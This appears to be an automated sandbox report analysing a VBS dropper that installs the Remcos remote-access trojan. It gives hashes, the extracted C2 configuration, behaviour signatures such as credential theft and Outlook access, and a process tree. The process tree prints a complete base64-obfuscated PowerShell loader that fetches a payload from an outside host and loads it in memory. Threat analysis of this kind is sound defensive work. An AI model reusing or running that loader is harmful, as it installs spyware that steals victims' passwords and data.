Analysis

  • max time kernel
    149s
  • max time network
    135s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21-01-2025 07:33

General

  • Target

    nicebabygirlformehavve.tIF.vbs

  • Size

    229KB

  • MD5

    743038855d008d967e70de63d3b6067b

  • SHA1

    5fe5dfe00823ea779c43a05cf4eca254bc6b448f

  • SHA256

    580efebb5dd99c6da0404819e716cf3af6b09bdbb7ea6782fa88a9961e3f4345

  • SHA512

    6045292c9df58756092971d7766831df5d84ef27c08c5e2966c506aa8b85707d98289203c8a10717272f7709f197f1ae518a1724abd42ac74fba510db42a211a

  • SSDEEP

    3072:NcgVmI3b0mgfmWu+5e9VOv5iG5sVhQ30Wk+70wgA11:NcgV0e9VOvp

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

C2

172.245.123.12:8690

Attributes
  • audio_folder

    MicRecords

  • audio_path

    ApplicationPath

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-ET2B3I

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Remcos family
  • Detected Nirsoft tools 3 IoCs

    Free utilities often used by attackers which can steal passwords, product keys, etc.

  • NirSoft MailPassView 1 IoCs

    Password recovery tool for various email clients

  • NirSoft WebBrowserPassView 1 IoCs

    Password recovery tool for various web browsers

  • Blocklisted process makes network request 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious use of SetThreadContext 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious behavior: MapViewOfSection 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 33 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\nicebabygirlformehavve.tIF.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2808
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "[System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JABpAG0AYQBnAGUAVQByAGwAIAA9ACAAJwBoAHQAdABwAHMAOgAvAC8AdQBwAGwAbwBhAGQAZABlAGkAbQBhAGcAZQBuAHMALgBjAG8AbQAuAGIAcgAvAGkAbQBhAGcAZQBzAC8AMAAwADQALwA4ADgAMwAvADQAMgAzAC8AbwByAGkAZwBpAG4AYQBsAC8AbgBlAHcAXwBpAG0AYQBnAGUALgBqAHAAZwA/ADEANwAzADcAMQAyADQAOQA4ADAAJwA7ACAAdAByAHkAIAB7ACAAJAB3AGUAYgBDAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAIAAkAGkAbQBhAGcAZQBCAHkAdABlAHMAIAA9ACAAJAB3AGUAYgBDAGwAaQBlAG4AdAAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJABpAG0AYQBnAGUAVQByAGwAKQA7ACAAJABpAG0AYQBnAGUAVABlAHgAdAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGkAbQBhAGcAZQBCAHkAdABlAHMAKQA7ACAAJABzAHQAYQByAHQARgBsAGEAZwAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAFMAVABBAFIAVAA+AD4AJwA7ACAAJABlAG4AZABGAGwAYQBnACAAPQAgACcAPAA8AEIAQQBTAEUANgA0AF8ARQBOAEQAPgA+ACcAOwAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAcwB0AGEAcgB0AEYAbABhAGcAKQA7ACAAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7ACAAaQBmACAAKAAkAHMAdABhAHIAdABJAG4AZABlAHgAIAAtAGcAZQAgADAAIAAtAGEAbgBkACAAJABlAG4AZABJAG4AZABlAHgAIAAtAGcAdAAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAApACAAewAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgACsAPQAgACQAcwB0AGEAcgB0AEYAbABhAGcALgBMAGUAbgBnAHQAaAA7ACAAJABiAGEAcwBlADYANABDAG8AbQBtAGEAbgBkACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAsACAAJABlAG4AZABJAG4AZABlAHgAIAAtACAAJABzAHQAYQByAHQASQBuAGQAZQB4ACkAOwAgACQAYwBvAG0AbQBhAG4AZABCAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYgBhAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAApADsAIAAkAGwAbwBhAGQAZQBkAEEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAJABjAG8AbQBtAGEAbgBkAEIAeQB0AGUAcwApADsAJABtAGUAdABoAG8AZAAgAD0AIABbAFIAdQBtAHAALgBDAGwAYQBzAHMAOQBdAC4ARwBlAHQATQBlAHQAaABvAGQAKAAnAHMAbQBlAHQAaABvAGQAXwAyACcAKQA7ACAAJABtAGUAdABoAG8AZAAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAIABbAG8AYgBqAGUAYwB0AFsAXQBdAEAAKAAnAHQAeAB0AC4AZABlAG4AZQBwAHAAYQBoAHMAZwBuAGkAaAB0AGUAcgBvAG0AaAB0AGkAdwBlAGcAYQByAGUAdgBvAGMAZQByAG8AbQAvADYANgA3AC8AMgAzADEALgA4ADcAMQAuADYANAAuADgAOQAxAC8ALwA6AHAAdAB0AGgAJwAsACcAZgBhAGwAcwBlACcALAAnAGYAYQBsAHMAZQAnACwAJwBmAGEAbABzAGUAJwAsACcAZgBhAGwAcwBlACcALAAnAGYAYQBsAHMAZQAnACwAJwBDAGEAcwBQAG8AbAAnACwAJwBmAGEAbABzAGUAJwApACkAOwAgAH0AIAB9ACAAYwBhAHQAYwBoACAAewAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJwBFAHIAcgBvADoAIAAkAF8AJwA7ACAAfQA=')) | Invoke-Expression"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4932
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
        3⤵
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: MapViewOfSection
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:4940
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
          C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\oqysbxhaxb"
          4⤵
            PID:2308
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
            C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\oqysbxhaxb"
            4⤵
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            PID:4428
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
            C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\zkdccpsutjspl"
            4⤵
              PID:2940
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
              C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\zkdccpsutjspl"
              4⤵
              • Accesses Microsoft Outlook accounts
              • System Location Discovery: System Language Discovery
              PID:4488
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
              C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\jmivdhdvgrkcotqp"
              4⤵
                PID:3056
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\jmivdhdvgrkcotqp"
                4⤵
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:1520

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        • C:\ProgramData\remcos\logs.dat

          Filesize

          144B

          MD5

          d6e89c6fcfcd858d9bab8d7ff3fdc7f9

          SHA1

          35f328d389ed6bb2a1ac73bd2de0e77e34ad1ed1

          SHA256

          1548e9845ac1d7f53b5d6122a529868ea3b3975660edd8c5cabd0c0d2019f39b

          SHA512

          c124ade3ad7ba2df57d9c1af0c79deecca82dd85a18c4c254acc9df8bf95696ce0f961deb545ee3e170a5be1f1ed9b8e627071faaa029b77d5ce57956f5bc192

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rkn0ylev.sxy.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • C:\Users\Admin\AppData\Local\Temp\oqysbxhaxb

          Filesize

          4KB

          MD5

          562a58578d6d04c7fb6bda581c57c03c

          SHA1

          12ab2b88624d01da0c5f5d1441aa21cbc276c5f5

          SHA256

          ff5c70287ba432a83f9015209d6e933462edca01d68c53c09882e1e4d22241c8

          SHA512

          3f6e19faa0196bd4c085defa587e664abdd63c25ef30df8f4323e60a5a5aca3cd2709466f772e64ab00fe331d4264841422d6057451947f3500e9252a132254e

        • memory/1520-36-0x0000000000400000-0x0000000000424000-memory.dmp

          Filesize

          144KB

        • memory/1520-44-0x0000000000400000-0x0000000000424000-memory.dmp

          Filesize

          144KB

        • memory/1520-40-0x0000000000400000-0x0000000000424000-memory.dmp

          Filesize

          144KB

        • memory/4428-38-0x0000000000400000-0x0000000000478000-memory.dmp

          Filesize

          480KB

        • memory/4428-33-0x0000000000400000-0x0000000000478000-memory.dmp

          Filesize

          480KB

        • memory/4428-35-0x0000000000400000-0x0000000000478000-memory.dmp

          Filesize

          480KB

        • memory/4488-37-0x0000000000400000-0x0000000000462000-memory.dmp

          Filesize

          392KB

        • memory/4488-39-0x0000000000400000-0x0000000000462000-memory.dmp

          Filesize

          392KB

        • memory/4488-34-0x0000000000400000-0x0000000000462000-memory.dmp

          Filesize

          392KB

        • memory/4932-14-0x000001D044E50000-0x000001D044E56000-memory.dmp

          Filesize

          24KB

        • memory/4932-13-0x000001D02A7F0000-0x000001D02A802000-memory.dmp

          Filesize

          72KB

        • memory/4932-19-0x00007FFB67ED0000-0x00007FFB68991000-memory.dmp

          Filesize

          10.8MB

        • memory/4932-0-0x00007FFB67ED3000-0x00007FFB67ED5000-memory.dmp

          Filesize

          8KB

        • memory/4932-12-0x00007FFB67ED0000-0x00007FFB68991000-memory.dmp

          Filesize

          10.8MB

        • memory/4932-11-0x00007FFB67ED0000-0x00007FFB68991000-memory.dmp

          Filesize

          10.8MB

        • memory/4932-1-0x000001D044B00000-0x000001D044B22000-memory.dmp

          Filesize

          136KB

        • memory/4940-21-0x0000000000400000-0x0000000000480000-memory.dmp

          Filesize

          512KB

        • memory/4940-50-0x0000000010000000-0x0000000010019000-memory.dmp

          Filesize

          100KB

        • memory/4940-30-0x0000000000400000-0x0000000000480000-memory.dmp

          Filesize

          512KB

        • memory/4940-29-0x0000000000400000-0x0000000000480000-memory.dmp

          Filesize

          512KB

        • memory/4940-28-0x0000000000400000-0x0000000000480000-memory.dmp

          Filesize

          512KB

        • memory/4940-27-0x0000000000400000-0x0000000000480000-memory.dmp

          Filesize

          512KB

        • memory/4940-25-0x0000000000400000-0x0000000000480000-memory.dmp

          Filesize

          512KB

        • memory/4940-26-0x0000000000400000-0x0000000000480000-memory.dmp

          Filesize

          512KB

        • memory/4940-22-0x0000000000400000-0x0000000000480000-memory.dmp

          Filesize

          512KB

        • memory/4940-20-0x0000000000400000-0x0000000000480000-memory.dmp

          Filesize

          512KB

        • memory/4940-18-0x0000000000400000-0x0000000000480000-memory.dmp

          Filesize

          512KB

        • memory/4940-47-0x0000000010000000-0x0000000010019000-memory.dmp

          Filesize

          100KB

        • memory/4940-51-0x0000000010000000-0x0000000010019000-memory.dmp

          Filesize

          100KB

        • memory/4940-32-0x0000000000400000-0x0000000000480000-memory.dmp

          Filesize

          512KB

        • memory/4940-52-0x0000000000400000-0x0000000000480000-memory.dmp

          Filesize

          512KB

        • memory/4940-54-0x0000000000400000-0x0000000000480000-memory.dmp

          Filesize

          512KB

        • memory/4940-15-0x0000000000400000-0x0000000000480000-memory.dmp

          Filesize

          512KB

        • memory/4940-60-0x0000000000400000-0x0000000000480000-memory.dmp

          Filesize

          512KB

        • memory/4940-59-0x0000000000400000-0x0000000000480000-memory.dmp

          Filesize

          512KB

        • memory/4940-68-0x0000000000400000-0x0000000000480000-memory.dmp

          Filesize

          512KB

        • memory/4940-67-0x0000000000400000-0x0000000000480000-memory.dmp

          Filesize

          512KB

        • memory/4940-75-0x0000000000400000-0x0000000000480000-memory.dmp

          Filesize

          512KB

        • memory/4940-76-0x0000000000400000-0x0000000000480000-memory.dmp

          Filesize

          512KB

        • memory/4940-83-0x0000000000400000-0x0000000000480000-memory.dmp

          Filesize

          512KB

        • memory/4940-84-0x0000000000400000-0x0000000000480000-memory.dmp

          Filesize

          512KB

        • memory/4940-91-0x0000000000400000-0x0000000000480000-memory.dmp

          Filesize

          512KB

        • memory/4940-92-0x0000000000400000-0x0000000000480000-memory.dmp

          Filesize

          512KB